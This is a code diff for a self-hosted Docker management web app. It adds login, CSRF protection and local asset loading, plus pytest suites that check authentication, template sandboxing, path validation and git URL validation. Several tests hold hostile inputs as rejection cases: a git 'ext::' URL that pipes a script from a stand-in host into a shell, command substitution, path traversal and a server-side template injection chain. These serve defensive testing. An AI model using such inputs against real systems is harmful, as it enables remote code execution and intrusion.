<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🚀</text></svg>">
|
||||
<link rel="stylesheet" href="/static/fonts/mdi.min.css">
|
||||
<script src="https://cdn.tailwindcss.com?plugins=forms,typography"></script>
|
||||
<script defer src="https://unpkg.com/alpinejs@3.14.1/dist/cdn.min.js"></script>
|
||||
<script src="https://unpkg.com/htmx.org@2.0.3/dist/htmx.min.js"></script>
|
||||
<!-- Lokaal meegeleverd (zie Dockerfile): geen CDN op runtime, werkt offline
|
||||
en houdt de Content-Security-Policy op 'self'. -->
|
||||
<script src="/static/vendor/tailwind.js"></script>
|
||||
<script defer src="/static/vendor/alpine.min.js"></script>
|
||||
<script src="/static/vendor/htmx.min.js"></script>
|
||||
<script>
|
||||
tailwind.config = {
|
||||
darkMode: 'class',
|
||||
|
|
@ -44,9 +46,11 @@ tailwind.config = {
|
|||
}}
|
||||
}
|
||||
</script>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
|
||||
<!-- Geen Google Fonts: dat is een externe request bij elke paginalading. Inter
|
||||
en JetBrains Mono worden gebruikt als ze lokaal geïnstalleerd zijn, anders
|
||||
valt de stack terug op de systeemfonts uit tailwind.config. -->
|
||||
<style>
|
||||
body { font-family: 'Inter', sans-serif; -webkit-font-smoothing: antialiased; }
|
||||
body { font-family: 'Inter', system-ui, sans-serif; -webkit-font-smoothing: antialiased; }
|
||||
[x-cloak] { display: none !important; }
|
||||
.mdi-spin { animation: mdis 1s linear infinite; display:inline-block; }
|
||||
@keyframes mdis { to { transform: rotate(360deg); } }
|
||||
|
|
@ -62,6 +66,59 @@ tailwind.config = {
|
|||
</head>
|
||||
<body class="bg-bg dark:bg-bg-dark text-tx dark:text-tx-dark text-[15px] h-screen overflow-hidden antialiased">
|
||||
|
||||
<!-- ░░ Login / eerste account ░░ -->
|
||||
<!-- Ligt bovenop alles (z-[90]) tot er een geldige sessie is. De API weigert
|
||||
ondertussen sowieso elk verzoek met 401, dit is de nette voorkant. -->
|
||||
<div x-show="auth.ready && !auth.authenticated" x-cloak
|
||||
class="fixed inset-0 bg-bg dark:bg-bg-dark z-[90] grid place-items-center p-4">
|
||||
<div class="w-full max-w-[380px] anim">
|
||||
<div class="flex items-center gap-3 mb-6 justify-center">
|
||||
<div class="w-11 h-11 rounded-xl bg-gradient-to-br from-ac to-ac2 grid place-items-center shadow-soft text-white text-xl">🚀</div>
|
||||
<div class="font-extrabold text-xl text-wh dark:text-wh-dark tracking-tight">Server<span class="text-ac dark:text-ac-dark">Up</span></div>
|
||||
</div>
|
||||
|
||||
<div class="card card-pad">
|
||||
<template x-if="auth.needsSetup">
|
||||
<div>
|
||||
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-1">Eerste account aanmaken</div>
|
||||
<p class="text-xs text-t2 dark:text-t2-dark mb-4">
|
||||
Server Up beheert Docker op deze machine. Maak nu een beheerdersaccount aan —
|
||||
zolang dat niet gebeurd is, kan iedereen die deze pagina bereikt het account claimen.
|
||||
</p>
|
||||
<form @submit.prevent="doSetup()" class="grid gap-3">
|
||||
<div><label class="form-label">Gebruikersnaam</label>
|
||||
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
|
||||
<div><label class="form-label">Wachtwoord (min. 10 tekens)</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="new-password" required></div>
|
||||
<div><label class="form-label">Wachtwoord herhalen</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password2" autocomplete="new-password" required></div>
|
||||
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
|
||||
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
|
||||
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-account-plus'"></span>Account aanmaken
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<template x-if="!auth.needsSetup">
|
||||
<div>
|
||||
<div class="text-base font-extrabold text-wh dark:text-wh-dark mb-4">Inloggen</div>
|
||||
<form @submit.prevent="doLogin()" class="grid gap-3">
|
||||
<div><label class="form-label">Gebruikersnaam</label>
|
||||
<input class="form-input" x-model="loginForm.username" autocomplete="username" required></div>
|
||||
<div><label class="form-label">Wachtwoord</label>
|
||||
<input type="password" class="form-input" x-model="loginForm.password" autocomplete="current-password" required></div>
|
||||
<div x-show="loginForm.error" class="text-xs text-er font-semibold" x-text="loginForm.error"></div>
|
||||
<button type="submit" class="btn btn-primary w-full" :disabled="loginForm.busy">
|
||||
<span class="mdi" :class="loginForm.busy ? 'mdi-loading mdi-spin' : 'mdi-login'"></span>Inloggen
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ░░ Sidebar ░░ -->
|
||||
<aside class="fixed top-0 bottom-0 left-0 w-[264px] max-w-[86vw] bg-s1 dark:bg-s1-dark border-r border-bd dark:border-bd-dark z-40 flex flex-col transition-transform duration-200 ease-out"
|
||||
:class="sidebarOpen ? 'translate-x-0' : '-translate-x-full'">
|
||||
|
|
@ -771,7 +828,7 @@ tailwind.config = {
|
|||
<script>
|
||||
function app() {
|
||||
return {
|
||||
version: '0.4.60',
|
||||
version: '', // komt van de server (VERSION-bestand), niet hier hardcoden
|
||||
page: location.hash.slice(1) || 'dashboard',
|
||||
isMobile: window.innerWidth < 768,
|
||||
sidebarOpen: window.innerWidth >= 768 && localStorage.getItem('sidebar') !== 'closed',
|
||||
|
|
@ -783,6 +840,13 @@ function app() {
|
|||
toasts: [],
|
||||
modal: null,
|
||||
|
||||
// Authenticatie. De app-shell wordt pas getoond als auth.authenticated waar
|
||||
// is; tot die tijd staat het login- of setupscherm ervoor.
|
||||
auth: { ready: false, authenticated: false, user: '', needsSetup: false, mode: 'local', csrf: '' },
|
||||
loginForm: { username: '', password: '', password2: '', error: '', busy: false },
|
||||
users: [], newUser: { username: '', password: '' },
|
||||
pwForm: { current: '', new: '', new2: '' },
|
||||
|
||||
docker: { running: 0, containers: 0, images: 0 },
|
||||
stacks: [],
|
||||
stackQuery: '',
|
||||
|
|
@ -834,6 +898,14 @@ function app() {
|
|||
});
|
||||
await this.loadLangs();
|
||||
await this.loadLang(localStorage.getItem('lang') || 'nl');
|
||||
await this.loadAuth();
|
||||
if (!this.auth.authenticated) return; // login-/setupscherm neemt het over
|
||||
await this.startApp();
|
||||
},
|
||||
|
||||
// Alles wat een ingelogde sessie vereist. Wordt ook na een succesvolle
|
||||
// login aangeroepen, zodat je niet hoeft te herladen.
|
||||
async startApp() {
|
||||
await this.checkWizard();
|
||||
await this.loadDocker();
|
||||
await this.loadModules();
|
||||
|
|
@ -903,7 +975,7 @@ function app() {
|
|||
},
|
||||
async deleteLang(code) {
|
||||
if (!confirm(this.t('delete_language_confirm') || ('Taal '+code+' verwijderen?'))) return;
|
||||
const d = await fetch('/api/i18n/'+code, { method:'DELETE' }).then(r=>r.json()).catch(()=>({}));
|
||||
const d = await this.req('/api/i18n/'+code, { method:'DELETE' });
|
||||
if (d.ok) {
|
||||
this.toast(d.msg || this.t('deleted'), 'ok');
|
||||
if (localStorage.getItem('lang') === code) this.setLang('nl');
|
||||
|
|
@ -916,11 +988,92 @@ function app() {
|
|||
this.toasts.push({id, msg, kind});
|
||||
setTimeout(() => this.toasts = this.toasts.filter(t=>t.id!==id), 2500);
|
||||
},
|
||||
async rpc(url, body) {
|
||||
// ── Authenticatie ────────────────────────────────────────────────────────
|
||||
async loadAuth() {
|
||||
try {
|
||||
const o = body !== undefined ? { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) } : {};
|
||||
return await (await fetch(url, o)).json();
|
||||
} catch(e) { return { error: e.message }; }
|
||||
const d = await (await fetch('/api/auth/me')).json();
|
||||
this.auth = { ready: true, authenticated: !!d.authenticated, user: d.user || '',
|
||||
needsSetup: !!d.needs_setup, mode: d.mode || 'local',
|
||||
csrf: d.csrf_token || '' };
|
||||
if (d.version) this.version = d.version;
|
||||
} catch(e) {
|
||||
this.auth = { ...this.auth, ready: true, authenticated: false };
|
||||
}
|
||||
},
|
||||
async doLogin() {
|
||||
this.loginForm.error = ''; this.loginForm.busy = true;
|
||||
const d = await this.req('/api/auth/login', { method:'POST', json: {
|
||||
username: this.loginForm.username, password: this.loginForm.password } });
|
||||
this.loginForm.busy = false;
|
||||
if (!d.ok) { this.loginForm.error = d.msg || 'Inloggen mislukt'; return; }
|
||||
this.auth.authenticated = true;
|
||||
this.auth.user = d.user; this.auth.csrf = d.csrf_token || '';
|
||||
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
|
||||
await this.startApp();
|
||||
},
|
||||
async doSetup() {
|
||||
this.loginForm.error = '';
|
||||
if (this.loginForm.password !== this.loginForm.password2) {
|
||||
this.loginForm.error = 'De wachtwoorden komen niet overeen.'; return;
|
||||
}
|
||||
this.loginForm.busy = true;
|
||||
const d = await this.req('/api/auth/setup', { method:'POST', json: {
|
||||
username: this.loginForm.username, password: this.loginForm.password } });
|
||||
this.loginForm.busy = false;
|
||||
if (!d.ok) { this.loginForm.error = d.msg || 'Aanmaken mislukt'; return; }
|
||||
this.auth.authenticated = true; this.auth.needsSetup = false;
|
||||
this.auth.user = this.loginForm.username; this.auth.csrf = d.csrf_token || '';
|
||||
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
|
||||
await this.startApp();
|
||||
},
|
||||
async logout() {
|
||||
await this.req('/api/auth/logout', { method:'POST', json: {} });
|
||||
this.auth.authenticated = false; this.auth.user = ''; this.auth.csrf = '';
|
||||
},
|
||||
async loadUsers() { const d = await this.rpc('/api/auth/users'); this.users = d.users || []; },
|
||||
async addUser() {
|
||||
const d = await this.req('/api/auth/users', { method:'POST', json: this.newUser });
|
||||
this.toast(d.msg || (d.ok ? 'Toegevoegd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
if (d.ok) { this.newUser = { username:'', password:'' }; this.loadUsers(); }
|
||||
},
|
||||
async delUser(name) {
|
||||
if (!confirm('Gebruiker ' + name + ' verwijderen?')) return;
|
||||
const d = await this.req('/api/auth/users/' + encodeURIComponent(name), { method:'DELETE' });
|
||||
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
this.loadUsers();
|
||||
},
|
||||
async changePassword() {
|
||||
if (this.pwForm.new !== this.pwForm.new2) { this.toast('Wachtwoorden komen niet overeen', 'er'); return; }
|
||||
const d = await this.req('/api/auth/password', { method:'POST', json: {
|
||||
current: this.pwForm.current, new: this.pwForm.new } });
|
||||
this.toast(d.msg || (d.ok ? 'Gewijzigd' : 'Fout'), d.ok ? 'ok' : 'er');
|
||||
if (d.ok) this.pwForm = { current:'', new:'', new2:'' };
|
||||
},
|
||||
|
||||
// Centrale fetch: voegt het CSRF-token toe aan elke mutatie en stuurt de
|
||||
// gebruiker terug naar het loginscherm zodra de sessie verlopen is.
|
||||
async req(url, { method = 'GET', json } = {}) {
|
||||
const opts = { method, headers: {} };
|
||||
if (json !== undefined) {
|
||||
opts.headers['Content-Type'] = 'application/json';
|
||||
opts.body = JSON.stringify(json);
|
||||
}
|
||||
if (method !== 'GET' && method !== 'HEAD') {
|
||||
opts.headers['X-CSRF-Token'] = this.auth.csrf;
|
||||
}
|
||||
try {
|
||||
const r = await fetch(url, opts);
|
||||
if (r.status === 401) {
|
||||
this.auth.authenticated = false;
|
||||
await this.loadAuth();
|
||||
return { ok: false, msg: 'Sessie verlopen — log opnieuw in' };
|
||||
}
|
||||
return await r.json();
|
||||
} catch(e) { return { ok: false, error: e.message, msg: e.message }; }
|
||||
},
|
||||
async rpc(url, body) {
|
||||
return body !== undefined ? this.req(url, { method:'POST', json: body })
|
||||
: this.req(url);
|
||||
},
|
||||
|
||||
goto(id) {
|
||||
|
|
@ -978,10 +1131,10 @@ function app() {
|
|||
this.modal = 'editor';
|
||||
},
|
||||
async saveEditor() {
|
||||
const r = await fetch(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
|
||||
{ method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ content: this.editor.content }) });
|
||||
if (r.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
|
||||
else this.toast('Fout bij opslaan', 'er');
|
||||
const d = await this.req(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
|
||||
{ method:'PUT', json: { content: this.editor.content } });
|
||||
if (d.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
|
||||
else this.toast(d.msg || 'Fout bij opslaan', 'er');
|
||||
},
|
||||
async openLogs(name) {
|
||||
const d = await this.rpc(`/api/stacks/${encodeURIComponent(name)}/logs`);
|
||||
|
|
@ -1005,7 +1158,7 @@ function app() {
|
|||
async syncAllRepos() { for (const r of this.repos) await this.syncRepo(r.id); },
|
||||
async deleteRepo(rid) {
|
||||
if (!confirm('Repository verwijderen?')) return;
|
||||
await fetch(`/api/repos/${rid}`, { method:'DELETE' });
|
||||
await this.req(`/api/repos/${encodeURIComponent(rid)}`, { method:'DELETE' });
|
||||
this.toast('Verwijderd', 'ok');
|
||||
this.loadAppStore();
|
||||
},
|
||||
|
|
@ -1113,7 +1266,7 @@ function app() {
|
|||
if (this.saveTimer) clearTimeout(this.saveTimer);
|
||||
this.saveTimer = setTimeout(async () => {
|
||||
const body = { ...this.settings, LANGUAGE: this.settings.LANGUAGE, THEME: this.theme };
|
||||
await fetch('/api/settings', { method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) });
|
||||
await this.req('/api/settings', { method:'PUT', json: body });
|
||||
this.saved = true; setTimeout(() => this.saved = false, 1500);
|
||||
}, 400);
|
||||
},
|
||||
|
|
|
|||
61
tests/conftest.py
Normal file
61
tests/conftest.py
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
"""Gedeelde fixtures. Elke test krijgt een eigen /data-map, zodat de suite
|
||||
nooit de echte config.json, audit-db of git-cache van een draaiende instantie
|
||||
raakt."""
|
||||
import importlib
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
APP_DIR = Path(__file__).resolve().parent.parent / "server-up"
|
||||
if str(APP_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(APP_DIR))
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def env(tmp_path, monkeypatch):
|
||||
"""Verse omgeving: config, audit-db, git-cache en secret in tmp_path."""
|
||||
data = tmp_path / "data"
|
||||
data.mkdir()
|
||||
lib = tmp_path / "stacks"
|
||||
lib.mkdir()
|
||||
monkeypatch.setenv("SU_CONFIG", str(data / "config.json"))
|
||||
monkeypatch.setenv("SU_AUDIT", str(data / "audit.db"))
|
||||
monkeypatch.setenv("SU_GIT_CACHE", str(data / "git"))
|
||||
monkeypatch.setenv("SU_SECRET", str(data / "secret.key"))
|
||||
monkeypatch.setenv("LIBRARY_DIR", str(lib))
|
||||
monkeypatch.setenv("DATA_DIR", str(tmp_path / "appdata"))
|
||||
monkeypatch.setenv("BACKUP_DIR", str(tmp_path / "backups"))
|
||||
|
||||
# Modules opnieuw importeren zodat ze de nieuwe paden oppikken.
|
||||
for name in list(sys.modules):
|
||||
if name == "core" or name.startswith("core.") or name == "app":
|
||||
del sys.modules[name]
|
||||
core = importlib.import_module("core")
|
||||
core._path = Path(data / "config.json")
|
||||
return {"data": data, "lib": lib, "tmp": tmp_path, "core": core}
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def client(env, monkeypatch):
|
||||
"""Flask-testclient met een aangemaakt account en geldige sessie."""
|
||||
import app as app_module
|
||||
app_module.app.config["TESTING"] = True
|
||||
c = app_module.app.test_client()
|
||||
return c
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def anon_client(env):
|
||||
"""Testclient zonder sessie."""
|
||||
import app as app_module
|
||||
app_module.app.config["TESTING"] = True
|
||||
return app_module.app.test_client()
|
||||
|
||||
|
||||
def login(client, username="tester", password="hunter2hunter2"):
|
||||
"""Maak het eerste account aan en retourneer het CSRF-token."""
|
||||
r = client.post("/api/auth/setup",
|
||||
json={"username": username, "password": password})
|
||||
assert r.status_code == 200, r.get_json()
|
||||
return r.get_json()["csrf_token"]
|
||||
121
tests/test_auth.py
Normal file
121
tests/test_auth.py
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
"""Authenticatie: guard, CSRF, lockout en de trusted-proxy-header."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
def test_api_vereist_login(anon_client):
|
||||
r = anon_client.get("/api/stacks")
|
||||
assert r.status_code == 401
|
||||
assert r.get_json()["needs_setup"] is True
|
||||
|
||||
|
||||
def test_index_en_healthz_zijn_publiek(anon_client):
|
||||
assert anon_client.get("/healthz").status_code == 200
|
||||
assert anon_client.get("/").status_code == 200
|
||||
|
||||
|
||||
def test_setup_maakt_account_en_kan_niet_herhaald_worden(anon_client):
|
||||
login(anon_client)
|
||||
r = anon_client.post("/api/auth/setup",
|
||||
json={"username": "tweede", "password": "hunter2hunter2"})
|
||||
assert r.status_code == 409
|
||||
|
||||
|
||||
def test_setup_weigert_kort_wachtwoord(anon_client):
|
||||
r = anon_client.post("/api/auth/setup",
|
||||
json={"username": "tester", "password": "kort"})
|
||||
assert r.status_code == 400
|
||||
assert "10 tekens" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_login_en_logout(client):
|
||||
login(client)
|
||||
client.post("/api/auth/logout", json={},
|
||||
headers={"X-CSRF-Token": _csrf(client)})
|
||||
assert client.get("/api/stacks").status_code == 401
|
||||
|
||||
r = client.post("/api/auth/login",
|
||||
json={"username": "tester", "password": "hunter2hunter2"})
|
||||
assert r.status_code == 200
|
||||
assert client.get("/api/stacks").status_code == 200
|
||||
|
||||
|
||||
def test_verkeerd_wachtwoord_wordt_geweigerd(client):
|
||||
login(client)
|
||||
client.post("/api/auth/logout", json={}, headers={"X-CSRF-Token": _csrf(client)})
|
||||
r = client.post("/api/auth/login",
|
||||
json={"username": "tester", "password": "verkeerdverkeerd"})
|
||||
assert r.status_code == 401
|
||||
|
||||
|
||||
def test_lockout_na_herhaalde_pogingen(client):
|
||||
import core.auth as auth
|
||||
login(client)
|
||||
for _ in range(5):
|
||||
auth.check_login("tester", "foutfoutfout")
|
||||
ok, msg = auth.check_login("tester", "hunter2hunter2")
|
||||
assert not ok
|
||||
assert "Te veel mislukte pogingen" in msg
|
||||
|
||||
|
||||
def test_mutatie_zonder_csrf_token_wordt_geweigerd(client):
|
||||
login(client)
|
||||
r = client.post("/api/docker/restart", json={})
|
||||
assert r.status_code == 403
|
||||
assert "CSRF" in r.get_json()["msg"]
|
||||
|
||||
|
||||
def test_mutatie_met_verkeerd_csrf_token_wordt_geweigerd(client):
|
||||
login(client)
|
||||
r = client.post("/api/docker/restart", json={},
|
||||
headers={"X-CSRF-Token": "niet-het-echte-token"})
|
||||
assert r.status_code == 403
|
||||
|
||||
|
||||
def test_state_wijzigende_routes_weigeren_get(client):
|
||||
"""Zonder deze regel volstond <img src=".../api/docker/restart"> op een
|
||||
willekeurige website om de container te herstarten."""
|
||||
login(client)
|
||||
for path in ("/api/docker/restart", "/api/wizard/complete",
|
||||
"/api/wizard/reset", "/api/wizard/sync",
|
||||
"/api/repos/server-up/sync"):
|
||||
assert client.get(path).status_code == 405, path
|
||||
|
||||
|
||||
def test_proxy_header_alleen_vanaf_vertrouwd_ip(client, env):
|
||||
core = env["core"]
|
||||
import core.auth as auth
|
||||
a = auth.settings()
|
||||
a.update({"mode": "both", "proxy_header": "Remote-User",
|
||||
"trusted_proxies": ["10.9.9.9"]})
|
||||
core.patch({"AUTH": a})
|
||||
|
||||
# Niet-vertrouwd bron-IP: header wordt genegeerd.
|
||||
r = client.get("/api/stacks", headers={"Remote-User": "indringer"},
|
||||
environ_overrides={"REMOTE_ADDR": "10.1.1.1"})
|
||||
assert r.status_code == 401
|
||||
|
||||
# Vertrouwde proxy: identiteit wordt geaccepteerd.
|
||||
r = client.get("/api/stacks", headers={"Remote-User": "collega"},
|
||||
environ_overrides={"REMOTE_ADDR": "10.9.9.9"})
|
||||
assert r.status_code == 200
|
||||
|
||||
|
||||
def test_proxy_modus_vereist_trusted_proxies(client):
|
||||
csrf = login(client)
|
||||
r = client.put("/api/auth/mode", json={"mode": "proxy", "trusted_proxies": []},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_wachtwoordhash_is_niet_omkeerbaar():
|
||||
import core.auth as auth
|
||||
rec = auth.hash_password("hunter2hunter2")
|
||||
assert "hunter2hunter2" not in str(rec)
|
||||
assert auth.verify_password("hunter2hunter2", rec)
|
||||
assert not auth.verify_password("hunter2hunter3", rec)
|
||||
|
||||
|
||||
def _csrf(client):
|
||||
return client.get("/api/auth/me").get_json()["csrf_token"]
|
||||
103
tests/test_boilerplates.py
Normal file
103
tests/test_boilerplates.py
Normal file
|
|
@ -0,0 +1,103 @@
|
|||
"""Boilerplate-rendering: de sandbox, en de YAML-opruiming die conditionele
|
||||
blokken achterlaten."""
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
|
||||
|
||||
from core import boilerplates as bp
|
||||
|
||||
|
||||
def _maak_boilerplate(tmp_path, compose: str, variables=None) -> Path:
|
||||
d = tmp_path / "stack"
|
||||
(d / "files").mkdir(parents=True)
|
||||
(d / "template.json").write_text(json.dumps({
|
||||
"kind": "compose",
|
||||
"metadata": {"name": "Test", "description": "", "tags": []},
|
||||
"variables": variables if variables is not None else [{
|
||||
"title": "Algemeen",
|
||||
"items": [
|
||||
{"name": "service_name", "type": "str", "default": "test"},
|
||||
{"name": "port", "type": "int", "default": 8080},
|
||||
{"name": "admin", "type": "bool", "default": False},
|
||||
],
|
||||
}],
|
||||
}), encoding="utf-8")
|
||||
(d / "files" / "compose.yaml").write_text(compose, encoding="utf-8")
|
||||
return d
|
||||
|
||||
|
||||
def test_render_vult_variabelen_in(tmp_path):
|
||||
src = _maak_boilerplate(tmp_path, "services:\n << service_name >>:\n image: nginx\n"
|
||||
" ports:\n - \"<< port >>:80\"\n")
|
||||
dest = tmp_path / "out"
|
||||
bp.render_to_dir(src, dest, {"service_name": "web", "port": 9090})
|
||||
tekst = (dest / "docker-compose.yml").read_text()
|
||||
assert "web:" in tekst
|
||||
assert '"9090:80"' in tekst
|
||||
|
||||
|
||||
def test_conditioneel_blok_wordt_overgeslagen(tmp_path):
|
||||
src = _maak_boilerplate(
|
||||
tmp_path,
|
||||
"services:\n app:\n image: nginx\n"
|
||||
" environment:\n"
|
||||
"<% if admin %>\n - ADMIN=1\n<% endif %>\n")
|
||||
dest = tmp_path / "out"
|
||||
bp.render_to_dir(src, dest, {"admin": False})
|
||||
tekst = (dest / "docker-compose.yml").read_text()
|
||||
assert "ADMIN" not in tekst
|
||||
# `environment:` zonder inhoud is ongeldige YAML en moet weg zijn.
|
||||
assert "environment:" not in tekst
|
||||
|
||||
|
||||
def test_lege_mapping_aan_einde_verdwijnt():
|
||||
assert bp._drop_empty_mappings("services:\n app:\n image: x\n volumes:\n") \
|
||||
== "services:\n app:\n image: x\n"
|
||||
|
||||
|
||||
def test_gevulde_mapping_blijft_staan():
|
||||
tekst = "services:\n app:\n image: x\n"
|
||||
assert bp._drop_empty_mappings(tekst) == tekst
|
||||
|
||||
|
||||
def test_sandbox_geeft_geen_python_internals_prijs(tmp_path):
|
||||
"""Templates komen uit externe git-repo's en worden al gerenderd in
|
||||
/api/store/preview. De sandbox levert Undefined (leeg) voor afgeschermde
|
||||
attributen, zodat er nooit een echt Python-object in het resultaat komt."""
|
||||
src = _maak_boilerplate(tmp_path, "x: << service_name.__class__ >>\n")
|
||||
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web"})
|
||||
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
|
||||
# `x:` blijft leeg achter en wordt daarna door _drop_empty_mappings opgeruimd.
|
||||
assert tekst.strip() == ""
|
||||
assert "class" not in tekst
|
||||
|
||||
|
||||
def test_sandbox_laat_aanroep_van_internals_falen(tmp_path):
|
||||
"""De klassieke SSTI-keten faalt hard in plaats van de subclass-lijst —
|
||||
en daarmee een weg naar os.system — op te leveren."""
|
||||
src = _maak_boilerplate(
|
||||
tmp_path, "x: << ''.__class__.__mro__[1].__subclasses__() >>\n")
|
||||
with pytest.raises(bp.BoilerplateError):
|
||||
bp.render_to_dir(src, tmp_path / "out", {})
|
||||
|
||||
|
||||
def test_normale_filters_blijven_werken(tmp_path):
|
||||
"""De sandbox mag de bestaande templates niet breken — vaultwarden gebruikt
|
||||
bijvoorbeeld `<< signups_allowed | lower >>`."""
|
||||
src = _maak_boilerplate(
|
||||
tmp_path, "a: << service_name | upper >>\nb: << admin | lower >>\n")
|
||||
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web", "admin": True})
|
||||
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
|
||||
assert "a: WEB" in tekst
|
||||
assert "b: true" in tekst
|
||||
|
||||
|
||||
def test_is_boilerplate_herkent_layout(tmp_path):
|
||||
src = _maak_boilerplate(tmp_path, "services: {}\n")
|
||||
assert bp.is_boilerplate(src)
|
||||
assert not bp.is_boilerplate(tmp_path)
|
||||
75
tests/test_paths.py
Normal file
75
tests/test_paths.py
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
"""Padvalidatie: geen enkele door de gebruiker aangeleverde naam mag buiten
|
||||
LIBRARY_DIR of de git-cache kunnen wijzen."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
@pytest.mark.parametrize("naam", [
|
||||
"vaultwarden", "app-1", "mijn_stack", "a.b-c", "X9",
|
||||
])
|
||||
def test_geldige_namen(env, naam):
|
||||
assert env["core"].safe_name(naam) == naam
|
||||
|
||||
|
||||
@pytest.mark.parametrize("naam", [
|
||||
"", "..", ".", "../etc", "a/b", "/absoluut", "a\\b", "-begint-met-streepje",
|
||||
"met spatie", "nul\x00byte", "x" * 65, "a$b", "$(whoami)",
|
||||
])
|
||||
def test_ongeldige_namen(env, naam):
|
||||
assert env["core"].safe_name(naam) is None
|
||||
|
||||
|
||||
def test_install_weigert_traversal_in_instance(client, env):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "vaultwarden", "repo_id": "server-up",
|
||||
"instance": "../../ontsnapt"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.status_code == 400
|
||||
assert not (env["tmp"] / "ontsnapt").exists()
|
||||
|
||||
|
||||
def test_install_weigert_traversal_in_stack(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/install",
|
||||
json={"stack": "../../../etc", "repo_id": "server-up",
|
||||
"instance": "test"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.get_json()["ok"] is False
|
||||
|
||||
|
||||
def test_preview_weigert_traversal(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/store/preview",
|
||||
json={"stack": "../..", "repo_id": "server-up"},
|
||||
headers={"X-CSRF-Token": csrf})
|
||||
assert r.get_json()["ok"] is False
|
||||
|
||||
|
||||
@pytest.mark.parametrize("route", [
|
||||
"/api/stacks/{}/env", "/api/stacks/{}/compose", "/api/stacks/{}/logs",
|
||||
])
|
||||
def test_stackroutes_weigeren_ongeldige_naam(client, route):
|
||||
login(client)
|
||||
r = client.get(route.format(".."))
|
||||
assert r.status_code == 400
|
||||
|
||||
|
||||
def test_stackactie_weigert_ongeldige_naam(client):
|
||||
csrf = login(client)
|
||||
r = client.post("/api/stacks/../start", headers={"X-CSRF-Token": csrf})
|
||||
# Werkzeug normaliseert '..' weg; wat er ook overblijft mag nooit 2xx zijn.
|
||||
assert r.status_code >= 400
|
||||
|
||||
|
||||
def test_lege_stacknaam_raakt_de_library_zelf_niet(client, env):
|
||||
"""`lib / ""` resolvet naar de library zelf — verwijderen zou alles wissen."""
|
||||
lib, d = _stack_dir(env, "")
|
||||
assert d is None
|
||||
|
||||
|
||||
def _stack_dir(env, naam):
|
||||
import app as app_module
|
||||
with app_module.app.test_request_context():
|
||||
return app_module._stack_dir(naam)
|
||||
82
tests/test_repo_urls.py
Normal file
82
tests/test_repo_urls.py
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
|
||||
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
|
||||
import pytest
|
||||
|
||||
from conftest import login
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url", [
|
||||
"https://github.com/bes-r/server-up.git",
|
||||
"http://10.0.20.22:3000/bes-r/server-up.git",
|
||||
"ssh://git@example.com/bes-r/server-up.git",
|
||||
"git@github.com:bes-r/server-up.git",
|
||||
])
|
||||
def test_toegestane_urls(env, url):
|
||||
assert env["core"].valid_repo_url(url) is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url", [
|
||||
'ext::sh -c "curl evil.example/x.sh | sh"',
|
||||
"file:///etc",
|
||||
"/etc/passwd",
|
||||
"--upload-pack=/bin/sh",
|
||||
"",
|
||||
"https://example.com/repo.git\next::sh -c id",
|
||||
])
|
||||
def test_geweigerde_urls(env, url):
|
||||
assert env["core"].valid_repo_url(url) is False
|
||||
|
||||
|
||||
def test_repo_toevoegen_weigert_ext_transport(client):
|
||||
